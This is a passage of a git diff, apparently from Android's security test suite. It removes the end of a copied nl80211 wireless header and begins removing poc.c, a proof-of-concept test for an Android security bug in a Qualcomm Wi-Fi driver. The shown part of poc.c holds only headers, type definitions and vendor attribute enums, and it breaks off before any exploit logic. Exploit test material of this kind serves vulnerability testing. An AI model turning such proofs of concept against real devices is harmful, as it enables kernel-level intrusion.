- * @NL80211_IFACE_COMB_RADAR_DETECT_REGIONS: u32 attribute containing the bitmap
- *	of supported regulatory regions for radar detection.
- * @NUM_NL80211_IFACE_COMB: number of attributes
- * @MAX_NL80211_IFACE_COMB: highest attribute number
- *
- * Examples:
- *	limits = [ #{STA} <= 1, #{AP} <= 1 ], matching BI, channels = 1, max = 2
- *	=> allows an AP and a STA that must match BIs
- *
- *	numbers = [ #{AP, P2P-GO} <= 8 ], channels = 1, max = 8
- *	=> allows 8 of AP/GO
- *
- *	numbers = [ #{STA} <= 2 ], channels = 2, max = 2
- *	=> allows two STAs on different channels
- *
- *	numbers = [ #{STA} <= 1, #{P2P-client,P2P-GO} <= 3 ], max = 4
- *	=> allows a STA plus three P2P interfaces
- *
- * The list of these four possiblities could completely be contained
- * within the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute to indicate
- * that any of these groups must match.
- *
- * "Combinations" of just a single interface will not be listed here,
- * a single interface of any valid interface type is assumed to always
- * be possible by itself. This means that implicitly, for each valid
- * interface type, the following group always exists:
- *	numbers = [ #{<type>} <= 1 ], channels = 1, max = 1
- */
-enum nl80211_if_combination_attrs {
-  NL80211_IFACE_COMB_UNSPEC,
-  NL80211_IFACE_COMB_LIMITS,
-  NL80211_IFACE_COMB_MAXNUM,
-  NL80211_IFACE_COMB_STA_AP_BI_MATCH,
-  NL80211_IFACE_COMB_NUM_CHANNELS,
-  NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS,
-  NL80211_IFACE_COMB_RADAR_DETECT_REGIONS,
-
-  /* keep last */
-  NUM_NL80211_IFACE_COMB,
-  MAX_NL80211_IFACE_COMB = NUM_NL80211_IFACE_COMB - 1
-};
-
-/**
- * enum nl80211_plink_state - state of a mesh peer link finite state machine
- *
- * @NL80211_PLINK_LISTEN: initial state, considered the implicit
- *	state of non existant mesh peer links
- * @NL80211_PLINK_OPN_SNT: mesh plink open frame has been sent to
- *	this mesh peer
- * @NL80211_PLINK_OPN_RCVD: mesh plink open frame has been received
- *	from this mesh peer
- * @NL80211_PLINK_CNF_RCVD: mesh plink confirm frame has been
- *	received from this mesh peer
- * @NL80211_PLINK_ESTAB: mesh peer link is established
- * @NL80211_PLINK_HOLDING: mesh peer link is being closed or cancelled
- * @NL80211_PLINK_BLOCKED: all frames transmitted from this mesh
- *	plink are discarded
- * @NUM_NL80211_PLINK_STATES: number of peer link states
- * @MAX_NL80211_PLINK_STATES: highest numerical value of plink states
- */
-enum nl80211_plink_state {
-  NL80211_PLINK_LISTEN,
-  NL80211_PLINK_OPN_SNT,
-  NL80211_PLINK_OPN_RCVD,
-  NL80211_PLINK_CNF_RCVD,
-  NL80211_PLINK_ESTAB,
-  NL80211_PLINK_HOLDING,
-  NL80211_PLINK_BLOCKED,
-
-  /* keep last */
-  NUM_NL80211_PLINK_STATES,
-  MAX_NL80211_PLINK_STATES = NUM_NL80211_PLINK_STATES - 1
-};
-
-/**
- * enum nl80211_plink_action - actions to perform in mesh peers
- *
- * @NL80211_PLINK_ACTION_NO_ACTION: perform no action
- * @NL80211_PLINK_ACTION_OPEN: start mesh peer link establishment
- * @NL80211_PLINK_ACTION_BLOCK: block traffic from this mesh peer
- * @NUM_NL80211_PLINK_ACTIONS: number of possible actions
- */
-enum plink_actions {
-  NL80211_PLINK_ACTION_NO_ACTION,
-  NL80211_PLINK_ACTION_OPEN,
-  NL80211_PLINK_ACTION_BLOCK,
-
-  NUM_NL80211_PLINK_ACTIONS,
-};
-
-#define NL80211_KCK_LEN 16
-#define NL80211_KEK_LEN 16
-#define NL80211_REPLAY_CTR_LEN 8
-
-/**
- * enum nl80211_rekey_data - attributes for GTK rekey offload
- * @__NL80211_REKEY_DATA_INVALID: invalid number for nested attributes
- * @NL80211_REKEY_DATA_KEK: key encryption key (binary)
- * @NL80211_REKEY_DATA_KCK: key confirmation key (binary)
- * @NL80211_REKEY_DATA_REPLAY_CTR: replay counter (binary)
- * @NUM_NL80211_REKEY_DATA: number of rekey attributes (internal)
- * @MAX_NL80211_REKEY_DATA: highest rekey attribute (internal)
- */
-enum nl80211_rekey_data {
-  __NL80211_REKEY_DATA_INVALID,
-  NL80211_REKEY_DATA_KEK,
-  NL80211_REKEY_DATA_KCK,
-  NL80211_REKEY_DATA_REPLAY_CTR,
-
-  /* keep last */
-  NUM_NL80211_REKEY_DATA,
-  MAX_NL80211_REKEY_DATA = NUM_NL80211_REKEY_DATA - 1
-};
-
-/**
- * enum nl80211_hidden_ssid - values for %NL80211_ATTR_HIDDEN_SSID
- * @NL80211_HIDDEN_SSID_NOT_IN_USE: do not hide SSID (i.e., broadcast it in
- *	Beacon frames)
- * @NL80211_HIDDEN_SSID_ZERO_LEN: hide SSID by using zero-length SSID element
- *	in Beacon frames
- * @NL80211_HIDDEN_SSID_ZERO_CONTENTS: hide SSID by using correct length of SSID
- *	element in Beacon frames but zero out each byte in the SSID
- */
-enum nl80211_hidden_ssid {
-  NL80211_HIDDEN_SSID_NOT_IN_USE,
-  NL80211_HIDDEN_SSID_ZERO_LEN,
-  NL80211_HIDDEN_SSID_ZERO_CONTENTS
-};
-
-/**
- * enum nl80211_sta_wme_attr - station WME attributes
- * @__NL80211_STA_WME_INVALID: invalid number for nested attribute
- * @NL80211_STA_WME_UAPSD_QUEUES: bitmap of uapsd queues. the format
- *	is the same as the AC bitmap in the QoS info field.
- * @NL80211_STA_WME_MAX_SP: max service period. the format is the same
- *	as the MAX_SP field in the QoS info field (but already shifted down).
- * @__NL80211_STA_WME_AFTER_LAST: internal
- * @NL80211_STA_WME_MAX: highest station WME attribute
- */
-enum nl80211_sta_wme_attr {
-  __NL80211_STA_WME_INVALID,
-  NL80211_STA_WME_UAPSD_QUEUES,
-  NL80211_STA_WME_MAX_SP,
-
-  /* keep last */
-  __NL80211_STA_WME_AFTER_LAST,
-  NL80211_STA_WME_MAX = __NL80211_STA_WME_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_pmksa_candidate_attr - attributes for PMKSA caching candidates
- * @__NL80211_PMKSA_CANDIDATE_INVALID: invalid number for nested attributes
- * @NL80211_PMKSA_CANDIDATE_INDEX: candidate index (u32; the smaller, the higher
- *	priority)
- * @NL80211_PMKSA_CANDIDATE_BSSID: candidate BSSID (6 octets)
- * @NL80211_PMKSA_CANDIDATE_PREAUTH: RSN pre-authentication supported (flag)
- * @NUM_NL80211_PMKSA_CANDIDATE: number of PMKSA caching candidate attributes
- *	(internal)
- * @MAX_NL80211_PMKSA_CANDIDATE: highest PMKSA caching candidate attribute
- *	(internal)
- */
-enum nl80211_pmksa_candidate_attr {
-  __NL80211_PMKSA_CANDIDATE_INVALID,
-  NL80211_PMKSA_CANDIDATE_INDEX,
-  NL80211_PMKSA_CANDIDATE_BSSID,
-  NL80211_PMKSA_CANDIDATE_PREAUTH,
-
-  /* keep last */
-  NUM_NL80211_PMKSA_CANDIDATE,
-  MAX_NL80211_PMKSA_CANDIDATE = NUM_NL80211_PMKSA_CANDIDATE - 1
-};
-
-/**
- * enum nl80211_tdls_operation - values for %NL80211_ATTR_TDLS_OPERATION
- * @NL80211_TDLS_DISCOVERY_REQ: Send a TDLS discovery request
- * @NL80211_TDLS_SETUP: Setup TDLS link
- * @NL80211_TDLS_TEARDOWN: Teardown a TDLS link which is already established
- * @NL80211_TDLS_ENABLE_LINK: Enable TDLS link
- * @NL80211_TDLS_DISABLE_LINK: Disable TDLS link
- */
-enum nl80211_tdls_operation {
-  NL80211_TDLS_DISCOVERY_REQ,
-  NL80211_TDLS_SETUP,
-  NL80211_TDLS_TEARDOWN,
-  NL80211_TDLS_ENABLE_LINK,
-  NL80211_TDLS_DISABLE_LINK,
-};
-
-/*
- * enum nl80211_ap_sme_features - device-integrated AP features
- * Reserved for future use, no bits are defined in
- * NL80211_ATTR_DEVICE_AP_SME yet.
-enum nl80211_ap_sme_features {
-};
- */
-
-/**
- * enum nl80211_feature_flags - device/driver features
- * @NL80211_FEATURE_SK_TX_STATUS: This driver supports reflecting back
- *	TX status to the socket error queue when requested with the
- *	socket option.
- * @NL80211_FEATURE_HT_IBSS: This driver supports IBSS with HT datarates.
- * @NL80211_FEATURE_INACTIVITY_TIMER: This driver takes care of freeing up
- *	the connected inactive stations in AP mode.
- * @NL80211_FEATURE_CELL_BASE_REG_HINTS: This driver has been tested
- *	to work properly to suppport receiving regulatory hints from
- *	cellular base stations.
- * @NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL: (no longer available, only
- *	here to reserve the value for API/ABI compatibility)
- * @NL80211_FEATURE_SAE: This driver supports simultaneous authentication of
- *	equals (SAE) with user space SME (NL80211_CMD_AUTHENTICATE) in station
- *	mode
- * @NL80211_FEATURE_LOW_PRIORITY_SCAN: This driver supports low priority scan
- * @NL80211_FEATURE_SCAN_FLUSH: Scan flush is supported
- * @NL80211_FEATURE_AP_SCAN: Support scanning using an AP vif
- * @NL80211_FEATURE_VIF_TXPOWER: The driver supports per-vif TX power setting
- * @NL80211_FEATURE_NEED_OBSS_SCAN: The driver expects userspace to perform
- *	OBSS scans and generate 20/40 BSS coex reports. This flag is used only
- *	for drivers implementing the CONNECT API, for AUTH/ASSOC it is implied.
- * @NL80211_FEATURE_P2P_GO_CTWIN: P2P GO implementation supports CT Window
- *	setting
- * @NL80211_FEATURE_P2P_GO_OPPPS: P2P GO implementation supports opportunistic
- *	powersave
- * @NL80211_FEATURE_FULL_AP_CLIENT_STATE: The driver supports full state
- *	transitions for AP clients. Without this flag (and if the driver
- *	doesn't have the AP SME in the device) the driver supports adding
- *	stations only when they're associated and adds them in associated
- *	state (to later be transitioned into authorized), with this flag
- *	they should be added before even sending the authentication reply
- *	and then transitioned into authenticated, associated and authorized
- *	states using station flags.
- *	Note that even for drivers that support this, the default is to add
- *	stations in authenticated/associated state, so to add unauthenticated
- *	stations the authenticated/associated bits have to be set in the mask.
- * @NL80211_FEATURE_ADVERTISE_CHAN_LIMITS: cfg80211 advertises channel limits
- *	(HT40, VHT 80/160 MHz) if this flag is set
- * @NL80211_FEATURE_USERSPACE_MPM: This driver supports a userspace Mesh
- *	Peering Management entity which may be implemented by registering for
- *	beacons or NL80211_CMD_NEW_PEER_CANDIDATE events. The mesh beacon is
- *	still generated by the driver.
- * @NL80211_FEATURE_ACTIVE_MONITOR: This driver supports an active monitor
- *	interface. An active monitor interface behaves like a normal monitor
- *	interface, but gets added to the driver. It ensures that incoming
- *	unicast packets directed at the configured interface address get ACKed.
- * @NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE: This driver supports dynamic
- *	channel bandwidth change (e.g., HT 20 <-> 40 MHz channel) during the
- *	lifetime of a BSS.
- * @NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES: This device adds a DS Parameter
- *	Set IE to probe requests.
- * @NL80211_FEATURE_WFA_TPC_IE_IN_PROBES: This device adds a WFA TPC Report IE
- *	to probe requests.
- * @NL80211_FEATURE_QUIET: This device, in client mode, supports Quiet Period
- *	requests sent to it by an AP.
- * @NL80211_FEATURE_TX_POWER_INSERTION: This device is capable of inserting the
- *	current tx power value into the TPC Report IE in the spectrum
- *	management TPC Report action frame, and in the Radio Measurement Link
- *	Measurement Report action frame.
- * @NL80211_FEATURE_ACKTO_ESTIMATION: This driver supports dynamic ACK timeout
- *	estimation (dynack). %NL80211_ATTR_WIPHY_DYN_ACK flag attribute is used
- *	to enable dynack.
- * @NL80211_FEATURE_STATIC_SMPS: Device supports static spatial
- *	multiplexing powersave, ie. can turn off all but one chain
- *	even on HT connections that should be using more chains.
- * @NL80211_FEATURE_DYNAMIC_SMPS: Device supports dynamic spatial
- *	multiplexing powersave, ie. can turn off all but one chain
- *	and then wake the rest up as required after, for example,
- *	rts/cts handshake.
- */
-enum nl80211_feature_flags {
-  NL80211_FEATURE_SK_TX_STATUS = 1 << 0,
-  NL80211_FEATURE_HT_IBSS = 1 << 1,
-  NL80211_FEATURE_INACTIVITY_TIMER = 1 << 2,
-  NL80211_FEATURE_CELL_BASE_REG_HINTS = 1 << 3,
-  NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL = 1 << 4,
-  NL80211_FEATURE_SAE = 1 << 5,
-  NL80211_FEATURE_LOW_PRIORITY_SCAN = 1 << 6,
-  NL80211_FEATURE_SCAN_FLUSH = 1 << 7,
-  NL80211_FEATURE_AP_SCAN = 1 << 8,
-  NL80211_FEATURE_VIF_TXPOWER = 1 << 9,
-  NL80211_FEATURE_NEED_OBSS_SCAN = 1 << 10,
-  NL80211_FEATURE_P2P_GO_CTWIN = 1 << 11,
-  NL80211_FEATURE_P2P_GO_OPPPS = 1 << 12,
-  /* bit 13 is reserved */
-  NL80211_FEATURE_ADVERTISE_CHAN_LIMITS = 1 << 14,
-  NL80211_FEATURE_FULL_AP_CLIENT_STATE = 1 << 15,
-  NL80211_FEATURE_USERSPACE_MPM = 1 << 16,
-  NL80211_FEATURE_ACTIVE_MONITOR = 1 << 17,
-  NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE = 1 << 18,
-  NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES = 1 << 19,
-  NL80211_FEATURE_WFA_TPC_IE_IN_PROBES = 1 << 20,
-  NL80211_FEATURE_QUIET = 1 << 21,
-  NL80211_FEATURE_TX_POWER_INSERTION = 1 << 22,
-  NL80211_FEATURE_ACKTO_ESTIMATION = 1 << 23,
-  NL80211_FEATURE_STATIC_SMPS = 1 << 24,
-  NL80211_FEATURE_DYNAMIC_SMPS = 1 << 25,
-};
-
-/**
- * enum nl80211_probe_resp_offload_support_attr - optional supported
- *	protocols for probe-response offloading by the driver/FW.
- *	To be used with the %NL80211_ATTR_PROBE_RESP_OFFLOAD attribute.
- *	Each enum value represents a bit in the bitmap of supported
- *	protocols. Typically a subset of probe-requests belonging to a
- *	supported protocol will be excluded from offload and uploaded
- *	to the host.
- *
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS: Support for WPS ver. 1
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2: Support for WPS ver. 2
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P: Support for P2P
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U: Support for 802.11u
- */
-enum nl80211_probe_resp_offload_support_attr {
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS = 1 << 0,
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2 = 1 << 1,
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P = 1 << 2,
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U = 1 << 3,
-};
-
-/**
- * enum nl80211_connect_failed_reason - connection request failed reasons
- * @NL80211_CONN_FAIL_MAX_CLIENTS: Maximum number of clients that can be
- *	handled by the AP is reached.
- * @NL80211_CONN_FAIL_BLOCKED_CLIENT: Connection request is rejected due to ACL.
- */
-enum nl80211_connect_failed_reason {
-  NL80211_CONN_FAIL_MAX_CLIENTS,
-  NL80211_CONN_FAIL_BLOCKED_CLIENT,
-};
-
-/**
- * enum nl80211_scan_flags -  scan request control flags
- *
- * Scan request control flags are used to control the handling
- * of NL80211_CMD_TRIGGER_SCAN and NL80211_CMD_START_SCHED_SCAN
- * requests.
- *
- * @NL80211_SCAN_FLAG_LOW_PRIORITY: scan request has low priority
- * @NL80211_SCAN_FLAG_FLUSH: flush cache before scanning
- * @NL80211_SCAN_FLAG_AP: force a scan even if the interface is configured
- *	as AP and the beaconing has already been configured. This attribute is
- *	dangerous because will destroy stations performance as a lot of frames
- *	will be lost while scanning off-channel, therefore it must be used only
- *	when really needed
- */
-enum nl80211_scan_flags {
-  NL80211_SCAN_FLAG_LOW_PRIORITY = 1 << 0,
-  NL80211_SCAN_FLAG_FLUSH = 1 << 1,
-  NL80211_SCAN_FLAG_AP = 1 << 2,
-};
-
-/**
- * enum nl80211_acl_policy - access control policy
- *
- * Access control policy is applied on a MAC list set by
- * %NL80211_CMD_START_AP and %NL80211_CMD_SET_MAC_ACL, to
- * be used with %NL80211_ATTR_ACL_POLICY.
- *
- * @NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED: Deny stations which are
- *	listed in ACL, i.e. allow all the stations which are not listed
- *	in ACL to authenticate.
- * @NL80211_ACL_POLICY_DENY_UNLESS_LISTED: Allow the stations which are listed
- *	in ACL, i.e. deny all the stations which are not listed in ACL.
- */
-enum nl80211_acl_policy {
-  NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED,
-  NL80211_ACL_POLICY_DENY_UNLESS_LISTED,
-};
-
-/**
- * enum nl80211_smps_mode - SMPS mode
- *
- * Requested SMPS mode (for AP mode)
- *
- * @NL80211_SMPS_OFF: SMPS off (use all antennas).
- * @NL80211_SMPS_STATIC: static SMPS (use a single antenna)
- * @NL80211_SMPS_DYNAMIC: dynamic smps (start with a single antenna and
- *	turn on other antennas after CTS/RTS).
- */
-enum nl80211_smps_mode {
-  NL80211_SMPS_OFF,
-  NL80211_SMPS_STATIC,
-  NL80211_SMPS_DYNAMIC,
-
-  __NL80211_SMPS_AFTER_LAST,
-  NL80211_SMPS_MAX = __NL80211_SMPS_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_radar_event - type of radar event for DFS operation
- *
- * Type of event to be used with NL80211_ATTR_RADAR_EVENT to inform userspace
- * about detected radars or success of the channel available check (CAC)
- *
- * @NL80211_RADAR_DETECTED: A radar pattern has been detected. The channel is
- *	now unusable.
- * @NL80211_RADAR_CAC_FINISHED: Channel Availability Check has been finished,
- *	the channel is now available.
- * @NL80211_RADAR_CAC_ABORTED: Channel Availability Check has been aborted, no
- *	change to the channel status.
- * @NL80211_RADAR_NOP_FINISHED: The Non-Occupancy Period for this channel is
- *	over, channel becomes usable.
- */
-enum nl80211_radar_event {
-  NL80211_RADAR_DETECTED,
-  NL80211_RADAR_CAC_FINISHED,
-  NL80211_RADAR_CAC_ABORTED,
-  NL80211_RADAR_NOP_FINISHED,
-};
-
-/**
- * enum nl80211_dfs_state - DFS states for channels
- *
- * Channel states used by the DFS code.
- *
- * @NL80211_DFS_USABLE: The channel can be used, but channel availability
- *	check (CAC) must be performed before using it for AP or IBSS.
- * @NL80211_DFS_UNAVAILABLE: A radar has been detected on this channel, it
- *	is therefore marked as not available.
- * @NL80211_DFS_AVAILABLE: The channel has been CAC checked and is available.
- */
-enum nl80211_dfs_state {
-  NL80211_DFS_USABLE,
-  NL80211_DFS_UNAVAILABLE,
-  NL80211_DFS_AVAILABLE,
-};
-
-/**
- * enum enum nl80211_protocol_features - nl80211 protocol features
- * @NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP: nl80211 supports splitting
- *	wiphy dumps (if requested by the application with the attribute
- *	%NL80211_ATTR_SPLIT_WIPHY_DUMP. Also supported is filtering the
- *	wiphy dump by %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFINDEX or
- *	%NL80211_ATTR_WDEV.
- */
-enum nl80211_protocol_features {
-  NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP = 1 << 0,
-};
-
-/**
- * enum nl80211_crit_proto_id - nl80211 critical protocol identifiers
- *
- * @NL80211_CRIT_PROTO_UNSPEC: protocol unspecified.
- * @NL80211_CRIT_PROTO_DHCP: BOOTP or DHCPv6 protocol.
- * @NL80211_CRIT_PROTO_EAPOL: EAPOL protocol.
- * @NL80211_CRIT_PROTO_APIPA: APIPA protocol.
- * @NUM_NL80211_CRIT_PROTO: must be kept last.
- */
-enum nl80211_crit_proto_id {
-  NL80211_CRIT_PROTO_UNSPEC,
-  NL80211_CRIT_PROTO_DHCP,
-  NL80211_CRIT_PROTO_EAPOL,
-  NL80211_CRIT_PROTO_APIPA,
-  /* add other protocols before this one */
-  NUM_NL80211_CRIT_PROTO
-};
-
-/* maximum duration for critical protocol measures */
-#define NL80211_CRIT_PROTO_MAX_DURATION 5000 /* msec */
-
-/**
- * enum nl80211_rxmgmt_flags - flags for received management frame.
- *
- * Used by cfg80211_rx_mgmt()
- *
- * @NL80211_RXMGMT_FLAG_ANSWERED: frame was answered by device/driver.
- */
-enum nl80211_rxmgmt_flags {
-  NL80211_RXMGMT_FLAG_ANSWERED = 1 << 0,
-};
-
-/*
- * If this flag is unset, the lower 24 bits are an OUI, if set
- * a Linux nl80211 vendor ID is used (no such IDs are allocated
- * yet, so that's not valid so far)
- */
-#define NL80211_VENDOR_ID_IS_LINUX 0x80000000
-
-/**
- * struct nl80211_vendor_cmd_info - vendor command data
- * @vendor_id: If the %NL80211_VENDOR_ID_IS_LINUX flag is clear, then the
- *	value is a 24-bit OUI; if it is set then a separately allocated ID
- *	may be used, but no such IDs are allocated yet. New IDs should be
- *	added to this file when needed.
- * @subcmd: sub-command ID for the command
- */
-struct nl80211_vendor_cmd_info {
-  __u32 vendor_id;
-  __u32 subcmd;
-};
-
-/**
- * enum nl80211_tdls_peer_capability - TDLS peer flags.
- *
- * Used by tdls_mgmt() to determine which conditional elements need
- * to be added to TDLS Setup frames.
- *
- * @NL80211_TDLS_PEER_HT: TDLS peer is HT capable.
- * @NL80211_TDLS_PEER_VHT: TDLS peer is VHT capable.
- * @NL80211_TDLS_PEER_WMM: TDLS peer is WMM capable.
- */
-enum nl80211_tdls_peer_capability {
-  NL80211_TDLS_PEER_HT = 1 << 0,
-  NL80211_TDLS_PEER_VHT = 1 << 1,
-  NL80211_TDLS_PEER_WMM = 1 << 2,
-};
-
-static inline struct nlattr *nla_next(const struct nlattr *nla,
-                                      int *remaining) {
-  int totlen = NLA_ALIGN(nla->nla_len);
-
-  *remaining -= totlen;
-  return (struct nlattr *)((char *)nla + totlen);
-}
-
-static inline int nla_ok(const struct nlattr *nla, int remaining) {
-  return remaining >= (int)sizeof(*nla) && nla->nla_len >= sizeof(*nla) &&
-         nla->nla_len <= remaining;
-}
-
-#define nla_for_each_attr(pos, head, len, rem) \
-  for (pos = head, rem = len; nla_ok(pos, rem); pos = nla_next(pos, &(rem)))
-
-#endif /* __LINUX_NL80211_H */
diff --git a/hostsidetests/security/securityPatch/Bug-36817053/poc.c b/hostsidetests/security/securityPatch/Bug-36817053/poc.c
deleted file mode 100644
index 4e7ae0c..0000000
--- a/hostsidetests/security/securityPatch/Bug-36817053/poc.c
+++ /dev/null
@@ -1,1083 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <time.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <netinet/in.h>
-#include <sys/socket.h>
-
-#include <errno.h>
-#include <linux/genetlink.h>
-#include <linux/netlink.h>
-#include <linux/wireless.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <sys/types.h>
-#include "local_poc.h"
-
-typedef signed char s8;
-typedef unsigned char u8;
-
-typedef signed short s16;
-typedef unsigned short u16;
-
-typedef signed int s32;
-typedef unsigned int u32;
-
-typedef signed long long s64;
-typedef unsigned long long u64;
-
-typedef s8 __s8;
-typedef u8 __u8;
-typedef s16 __s16;
-typedef u16 __u16;
-typedef s32 __s32;
-typedef u32 __u32;
-typedef s64 __s64;
-typedef u64 __u64;
-
-#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
-#define PARAM_REQUEST_ID \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
-#define PARAMS_LOST_SSID_SAMPLE_SIZE \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE
-#define PARAMS_NUM_SSID \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
-#define THRESHOLD_PARAM QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM
-#define PARAM_SSID QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID
-#define PARAM_BAND QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND
-#define PARAM_RSSI_LOW \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW
-#define PARAM_RSSI_HIGH \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH
-
-enum qca_wlan_vendor_attr_extscan_results {
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_INVALID = 0,
-
-  /* Unsigned 32-bit value; must match the request Id supplied by Wi-Fi HAL
-   * in the corresponding subcmd NL msg
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID,
-
-  /* Unsigned 32-bit value; used to indicate the status response from
-   * firmware/driver for the vendor sub-command.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS,
-
-  /* EXTSCAN Valid Channels attributes */
-  /* Unsigned 32bit value; followed by a nested array of CHANNELS.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_CHANNELS,
-  /* An array of NUM_CHANNELS x Unsigned 32bit value integers representing
-   * channel numbers
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CHANNELS,
-
-  /* EXTSCAN Capabilities attributes */
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_CACHE_SIZE,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_BUCKETS,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_AP_CACHE_PER_SCAN,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_RSSI_SAMPLE_SIZE,
-  /* Signed 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_REPORTING_THRESHOLD,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_BSSIDS,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SIGNIFICANT_WIFI_CHANGE_APS,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_BSSID_HISTORY_ENTRIES,
-
-  /* EXTSCAN Attributes used with
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_RESULTS_AVAILABLE sub-command.
-   */
-
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE,
-
-  /* EXTSCAN attributes used with
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_FULL_SCAN_RESULT sub-command.
-   */
-
-  /* An array of NUM_RESULTS_AVAILABLE x
-   * QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_*
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST,
-
-  /* Unsigned 64-bit value; age of sample at the time of retrieval */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_TIME_STAMP,
-  /* 33 x unsigned 8-bit value; NULL terminated SSID */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_SSID,
-  /* An array of 6 x Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BSSID,
-  /* Unsigned 32-bit value; channel frequency in MHz */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CHANNEL,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RSSI,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT_SD,
-  /* Unsigned 16-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BEACON_PERIOD,
-  /* Unsigned 16-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CAPABILITY,
-  /* Unsigned 32-bit value; size of the IE DATA blob */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_LENGTH,
-  /* An array of IE_LENGTH x Unsigned 8-bit value; blob of all the
-   * information elements found in the beacon; this data should be a
-   * packed list of wifi_information_element objects, one after the other.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_DATA,
-  /* Unsigned 8-bit value; set by driver to indicate more scan results are
